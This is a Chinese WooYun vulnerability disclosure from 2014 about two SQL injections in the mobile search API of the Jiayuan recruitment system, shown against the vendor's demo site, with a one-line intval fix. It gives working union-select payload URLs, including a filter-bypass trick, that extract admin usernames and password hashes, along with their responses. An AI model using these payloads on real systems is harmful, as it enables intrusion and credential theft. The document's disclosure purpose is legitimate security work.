当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-084478

漏洞标题：嘉缘人才系统2处SQL注入#7(demo测试)

相关厂商：finereason.com

漏洞作者： 龟兔赛跑

提交时间：2014-11-24 17:35

修复时间：2014-12-31 17:36

公开时间：2014-12-31 17:36

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-11-24： 细节已通知厂商并且等待厂商处理中
2014-11-29： 厂商主动忽略漏洞，细节向第三方安全合作伙伴开放
2015-01-23： 细节向核心白帽子及相关领域专家公开
2015-02-02： 细节向普通白帽子公开
2015-02-12： 细节向实习白帽子公开
2014-12-31： 细节向公众公开

简要描述：

嘉缘人才系统2处SQL注入,可直接出数据。
(demo测试)

详细说明：

嘉缘人才系统mobile API两处SQL注入，可直接出数据。
第一处为：

http://v2014.rccms.com/mobile/index.php?m=search&a=resume_search&id=2&d=down


第二处为

http://v2014.rccms.com/mobile/index.php?m=search&a=hire_search&id=2&d=down

这两处都没有对ID进行过滤，直接带入了SQL,导致union SQL注入。
第一处：

http://v2014.rccms.com/mobile/index.php?m=search&a=resume_search&id=2&d=down

返回：

[{"r_id":"6","r_mid":"64","r_name":"\u8c22\u96e8","r_sex":"1","r_birth":2014,"r_jobtype":"\u5168\u804c","r_trade":"\u8ba1\u7b97\u673a\u8f6f\u4ef6,\u5bb6\u5177\/\u5bb6\u7535\/\u5de5\u827a\u54c1\/\u73a9\u5177\/\u73e0\u5b9d,\u6c7d\u8f66\u53ca\u96f6\u914d\u4ef6","r_position":"IT-\u8f6f\u4ef6\u5f00\u53d1","r_workadd":"","r_pay":"11","r_edu":"5","r_adddate":"2014-01-08 14:27:47","m_nameshow":"1","counts":"350","unix_adddate":1389162467},{"r_id":"7","r_mid":"65","r_name":"\u5f20\u6396","r_sex":"1","r_birth":2014,"r_jobtype":"\u5168\u804c","r_trade":"\u8ba1\u7b97\u673a\u8f6f\u4ef6","r_position":"IT-\u8f6f\u4ef6\u5f00\u53d1*\u7cfb\u7edf\u5206\u6790\u5458","r_workadd":"\u5317\u4eac*\u5317\u4eac\u5e02*\u4e1c\u57ce\u533a","r_pay":"10","r_edu":"2","r_adddate":"2014-01-08 14:27:47","m_nameshow":"1","counts":"350","unix_adddate":1389162467},{"r_id":"8","r_mid":"66","r_name":"\u5218\u5f64\u5f64","r_sex":"1","r_birth":2014,"r_jobtype":"\u5168\u804c","r_trade":"\u5efa\u7b51\u4e0e\u5de5\u7a0b","r_position":"\u623f\u5730\u4ea7\/\u5efa\u7b51\/\u5efa\u6750\/\u88c5\u6f62*\u5de5\u7a0b\u76d1\u7406","r_workadd":"\u6cb3\u5357\u7701*\u6d1b\u9633\u5e02*\u6d1b\u9f99\u533a","r_pay":"0","r_edu":"7","r_adddate":"2014-01-08 14:27:47","m_nameshow":"1","counts":"350","unix_adddate":1389162467},{"r_id":"9","r_mid":"67","r_name":"\u6768\u9633","r_sex":"1","r_birth":2014,"r_jobtype":"\u5168\u804c","r_trade":"\u529e\u516c\u7528\u54c1\u53ca\u8bbe\u5907","r_position":"\u5305\u88c5\/\u5370\u5237\/\u9020\u7eb8\u7c7b*\u5370\u5237\u5de5\u827a\u5e08","r_workadd":"\u91cd\u5e86*\u91cd\u5e86\u5e02*\u4e5d\u9f99\u5761\u533a,\u91cd\u5e86*\u91cd\u5e86\u5e02*\u4e07\u76db\u533a","r_pay":"0","r_edu":"5","r_adddate":"2014-01-08 14:27:47","m_nameshow":"1","counts":"350","unix_adddate":1389162467},{"r_id":"10","r_mid":"68","r_name":"\u95f9\u95f9","r_sex":"1","r_birth":2014,"r_jobtype":"\u5168\u804c","r_trade":"","r_position":"","r_workadd":"","r_pay":"0","r_edu":"0","r_adddate":"2014-01-08 14:27:47","m_nameshow":"1","counts":"350","unix_adddate":1389162467},{"r_id":"11","r_mid":"69","r_name":"\u548c\u7530","r_sex":"1","r_birth":2014,"r_jobtype":"\u5168\u804c","r_trade":"\u4f1a\u8ba1\/\u5ba1\u8ba1","r_position":"\u8425\u9500-\u6280\u672f\u670d\u52a1\u53ca\u5ba2\u670d*\u552e\u524d\/\u552e\u540e\u6280\u672f\u670d\u52a1\u4e3b\u7ba1,\u8d22\u52a1\/\u5ba1\u8ba1\/\u7edf\u8ba1\/\u91d1\u878d*\u8d22\u52a1\u5206\u6790\u7ecf\u7406\/\u4e3b\u7ba1","r_workadd":"\u5409\u6797\u7701*\u8fbd\u6e90\u5e02*\u897f\u5b89\u533a","r_pay":"12","r_edu":"4","r_adddate":"2014-01-08 14:27:47","m_nameshow":"1","counts":"350","unix_adddate":1389162467},{"r_id":"12","r_mid":"70","r_name":"\u5f20\u5c55","r_sex":"1","r_birth":2014,"r_jobtype":"\u5168\u804c","r_trade":"\u8d38\u6613\/\u8fdb\u51fa\u53e3","r_position":"\u7269\u6d41\/\u8d38\u6613\/\u91c7\u8d2d*\u8239\u52a1\u4eba\u5458","r_workadd":"\u6e56\u5317\u7701*\u5b9c\u660c\u5e02*\u4f0d\u5bb6\u5c97\u533a","r_pay":"0","r_edu":"5","r_adddate":"2014-01-08 14:27:47","m_nameshow":"1","counts":"350","unix_adddate":1389162467},{"r_id":"13","r_mid":"73","r_name":"\u674e\u4e3d","r_sex":"1","r_birth":2014,"r_jobtype":"\u5168\u804c","r_trade":"\u8d38\u6613\/\u8fdb\u51fa\u53e3","r_position":"IT-\u8f6f\u4ef6\u5f00\u53d1*ERP\u6280\u672f\/\u5e94\u7528\u987e\u95ee","r_workadd":"\u5317\u4eac*\u5317\u4eac\u5e02*\u95e8\u5934\u6c9f\u533a","r_pay":"0","r_edu":"2","r_adddate":"2014-01-08 14:27:47","m_nameshow":"1","counts":"350","unix_adddate":1389162467},{"r_id":"14","r_mid":"74","r_name":"\u6c42\u804c\u80054","r_sex":"1","r_birth":2014,"r_jobtype":"\u5168\u804c","r_trade":"\u5bb6\u5177\/\u5bb6\u7535\/\u5de5\u827a\u54c1\/\u73a9\u5177\/\u73e0\u5b9d","r_position":"IT-\u8f6f\u4ef6\u5f00\u53d1*\u6570\u636e\u5e93\u5de5\u7a0b\u5e08","r_workadd":"\u56db\u5ddd\u7701*\u7ef5\u9633\u5e02*\u5b89\u53bf","r_pay":"0","r_edu":"5","r_adddate":"2014-01-08 14:27:47","m_nameshow":"1","counts":"350","unix_adddate":1389162467},{"r_id":"15","r_mid":"75","r_name":"\u6c42\u804c\u8005\u4e94","r_sex":"1","r_birth":2014,"r_jobtype":"\u5168\u804c","r_trade":"\u4e2d\u4ecb\u670d\u52a1","r_position":"IT-\u8f6f\u4ef6\u5f00\u53d1*\u9ad8\u7ea7\u8f6f\u4ef6\u5de5\u7a0b\u5e08","r_workadd":"\u5317\u4eac*\u5317\u4eac\u5e02*\u623f\u5c71\u533a","r_pay":"0","r_edu":"3","r_adddate":"2014-01-08 14:27:47","m_nameshow":"1","counts":"350","unix_adddate":1389162467}]

试试and 1=0：

http://v2014.rccms.com/mobile/index.php?m=search&a=resume_search&id=2%20and%201=0&d=down

返回：

0

试试and 1=1:

http://v2014.rccms.com/mobile/index.php?m=search&a=resume_search&id=2%20and%201=1&d=down

返回：

[{"r_id":"6","r_mid":"64","r_name":"\u8c22\u96e8","r_sex":"1","r_birth":2014,"r_jobtype":"\u5168\u804c","r_trade":"\u8ba1\u7b97\u673a\u8f6f\u4ef6,\u5bb6\u5177\/\u5bb6\u7535\/\u5de5\u827a\u54c1\/\u73a9\u5177\/\u73e0\u5b9d,\u6c7d\u8f66\u53ca\u96f6\u914d\u4ef6","r_position":"IT-\u8f6f\u4ef6\u5f00\u53d1","r_workadd":"","r_pay":"11","r_edu":"5","r_adddate":"2014-01-08 14:27:47","m_nameshow":"1","counts":"350","unix_adddate":1389162467},{"r_id":"7","r_mid":"65","r_name":"\u5f20\u6396","r_sex":"1","r_birth":2014,"r_jobtype":"\u5168\u804c","r_trade":"\u8ba1\u7b97\u673a\u8f6f\u4ef6","r_position":"IT-\u8f6f\u4ef6\u5f00\u53d1*\u7cfb\u7edf\u5206\u6790\u5458","r_workadd":"\u5317\u4eac*\u5317\u4eac\u5e02*\u4e1c\u57ce\u533a","r_pay":"10","r_edu":"2","r_adddate":"2014-01-08 14:27:47","m_nameshow":"1","counts":"350","unix_adddate":1389162467},{"r_id":"8","r_mid":"66","r_name":"\u5218\u5f64\u5f64","r_sex":"1","r_birth":2014,"r_jobtype":"\u5168\u804c","r_trade":"\u5efa\u7b51\u4e0e\u5de5\u7a0b","r_position":"\u623f\u5730\u4ea7\/\u5efa\u7b51\/\u5efa\u6750\/\u88c5\u6f62*\u5de5\u7a0b\u76d1\u7406","r_workadd":"\u6cb3\u5357\u7701*\u6d1b\u9633\u5e02*\u6d1b\u9f99\u533a","r_pay":"0","r_edu":"7","r_adddate":"2014-01-08 14:27:47","m_nameshow":"1","counts":"350","unix_adddate":1389162467},{"r_id":"9","r_mid":"67","r_name":"\u6768\u9633","r_sex":"1","r_birth":2014,"r_jobtype":"\u5168\u804c","r_trade":"\u529e\u516c\u7528\u54c1\u53ca\u8bbe\u5907","r_position":"\u5305\u88c5\/\u5370\u5237\/\u9020\u7eb8\u7c7b*\u5370\u5237\u5de5\u827a\u5e08","r_workadd":"\u91cd\u5e86*\u91cd\u5e86\u5e02*\u4e5d\u9f99\u5761\u533a,\u91cd\u5e86*\u91cd\u5e86\u5e02*\u4e07\u76db\u533a","r_pay":"0","r_edu":"5","r_adddate":"2014-01-08 14:27:47","m_nameshow":"1","counts":"350","unix_adddate":1389162467},{"r_id":"10","r_mid":"68","r_name":"\u95f9\u95f9","r_sex":"1","r_birth":2014,"r_jobtype":"\u5168\u804c","r_trade":"","r_position":"","r_workadd":"","r_pay":"0","r_edu":"0","r_adddate":"2014-01-08 14:27:47","m_nameshow":"1","counts":"350","unix_adddate":1389162467},{"r_id":"11","r_mid":"69","r_name":"\u548c\u7530","r_sex":"1","r_birth":2014,"r_jobtype":"\u5168\u804c","r_trade":"\u4f1a\u8ba1\/\u5ba1\u8ba1","r_position":"\u8425\u9500-\u6280\u672f\u670d\u52a1\u53ca\u5ba2\u670d*\u552e\u524d\/\u552e\u540e\u6280\u672f\u670d\u52a1\u4e3b\u7ba1,\u8d22\u52a1\/\u5ba1\u8ba1\/\u7edf\u8ba1\/\u91d1\u878d*\u8d22\u52a1\u5206\u6790\u7ecf\u7406\/\u4e3b\u7ba1","r_workadd":"\u5409\u6797\u7701*\u8fbd\u6e90\u5e02*\u897f\u5b89\u533a","r_pay":"12","r_edu":"4","r_adddate":"2014-01-08 14:27:47","m_nameshow":"1","counts":"350","unix_adddate":1389162467},{"r_id":"12","r_mid":"70","r_name":"\u5f20\u5c55","r_sex":"1","r_birth":2014,"r_jobtype":"\u5168\u804c","r_trade":"\u8d38\u6613\/\u8fdb\u51fa\u53e3","r_position":"\u7269\u6d41\/\u8d38\u6613\/\u91c7\u8d2d*\u8239\u52a1\u4eba\u5458","r_workadd":"\u6e56\u5317\u7701*\u5b9c\u660c\u5e02*\u4f0d\u5bb6\u5c97\u533a","r_pay":"0","r_edu":"5","r_adddate":"2014-01-08 14:27:47","m_nameshow":"1","counts":"350","unix_adddate":1389162467},{"r_id":"13","r_mid":"73","r_name":"\u674e\u4e3d","r_sex":"1","r_birth":2014,"r_jobtype":"\u5168\u804c","r_trade":"\u8d38\u6613\/\u8fdb\u51fa\u53e3","r_position":"IT-\u8f6f\u4ef6\u5f00\u53d1*ERP\u6280\u672f\/\u5e94\u7528\u987e\u95ee","r_workadd":"\u5317\u4eac*\u5317\u4eac\u5e02*\u95e8\u5934\u6c9f\u533a","r_pay":"0","r_edu":"2","r_adddate":"2014-01-08 14:27:47","m_nameshow":"1","counts":"350","unix_adddate":1389162467},{"r_id":"14","r_mid":"74","r_name":"\u6c42\u804c\u80054","r_sex":"1","r_birth":2014,"r_jobtype":"\u5168\u804c","r_trade":"\u5bb6\u5177\/\u5bb6\u7535\/\u5de5\u827a\u54c1\/\u73a9\u5177\/\u73e0\u5b9d","r_position":"IT-\u8f6f\u4ef6\u5f00\u53d1*\u6570\u636e\u5e93\u5de5\u7a0b\u5e08","r_workadd":"\u56db\u5ddd\u7701*\u7ef5\u9633\u5e02*\u5b89\u53bf","r_pay":"0","r_edu":"5","r_adddate":"2014-01-08 14:27:47","m_nameshow":"1","counts":"350","unix_adddate":1389162467},{"r_id":"15","r_mid":"75","r_name":"\u6c42\u804c\u8005\u4e94","r_sex":"1","r_birth":2014,"r_jobtype":"\u5168\u804c","r_trade":"\u4e2d\u4ecb\u670d\u52a1","r_position":"IT-\u8f6f\u4ef6\u5f00\u53d1*\u9ad8\u7ea7\u8f6f\u4ef6\u5de5\u7a0b\u5e08","r_workadd":"\u5317\u4eac*\u5317\u4eac\u5e02*\u623f\u5c71\u533a","r_pay":"0","r_edu":"3","r_adddate":"2014-01-08 14:27:47","m_nameshow":"1","counts":"350","unix_adddate":1389162467}]


继续试验union select：

http://v2014.rccms.com/mobile/index.php?m=search&a=resume_search&id=2%20and%201=@`%27`%20and%201.union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13%23%27&d=down

返回：

[{"r_id":"1","r_mid":"2","r_name":"3","r_sex":"4","r_birth":2009,"r_jobtype":"\u5747\u53ef","r_trade":"7","r_position":"8","r_workadd":"9","r_pay":"10","r_edu":"11","r_adddate":"12","m_nameshow":"13","counts":0,"unix_adddate":false}]


好了,union select成功，接下来可以取数据了：

http://v2014.rccms.com/mobile/index.php?m=search&a=resume_search&id=2%20and%201=@`%27`%20and%201.union%20select%201,(select(group_concat(a_user,0x7c,a_pass))from%0ajob_admin),3,4,5,6,7,8,9,10,11,12,13%23%27&d=down

,返回为：

[{"r_id":"1","r_mid":"admin|27ab076f453a......此处省略N字节","r_name":"3","r_sex":"4","r_birth":2009,"r_jobtype":"\u5747\u53ef","r_trade":"7","r_position":"8","r_workadd":"9","r_pay":"10","r_edu":"11","r_adddate":"12","m_nameshow":"13","counts":0,"unix_adddate":false}]


1.png


第二处：

http://v2014.rccms.com/mobile/index.php?m=search&a=resume_search&id=2%20and%201=@`%27`%20and%201.union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13%23%27&d=down

返回：

[{"r_id":"1","r_mid":"2","r_name":"3","r_sex":"4","r_birth":2009,"r_jobtype":"\u5747\u53ef","r_trade":"7","r_position":"8","r_workadd":"9","r_pay":"10","r_edu":"11","r_adddate":"12","m_nameshow":"13","counts":0,"unix_adddate":false}]


http://v2014.rccms.com/mobile/index.php?m=search&a=hire_search&id=2%20and%201=@`%27`%20and%201.union%20select%201,(select(group_concat(a_user,0x7c,a_pass))from%0ajob_admin),3,4,5,6,7,8%23%27&d=down


[{"h_id":"1","h_place":"admin|27ab076f453a.......此处省略N字","h_pay":"3","h_edu":"4","h_workadd":"5","h_adddate":"6","m_id":"7","m_name":"8","counts":0,"unix_adddate":false}]

2.png

漏洞证明：

http://v2014.rccms.com/mobile/index.php?m=search&a=resume_search&id=2%20and%201=@`%27`%20and%201.union%20select%201,(select(group_concat(a_user,0x7c,a_pass))from%0ajob_admin),3,4,5,6,7,8,9,10,11,12,13%23%27&d=down

1.png


http://v2014.rccms.com/mobile/index.php?m=search&a=hire_search&id=2%20and%201=@`%27`%20and%201.union%20select%201,(select(group_concat(a_user,0x7c,a_pass))from%0ajob_admin),3,4,5,6,7,8%23%27&d=down

2.png


修复方案：

id=intval(id)

版权声明：转载请注明来源 龟兔赛跑@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2014-12-31 17:36

厂商回复：

最新状态：

暂无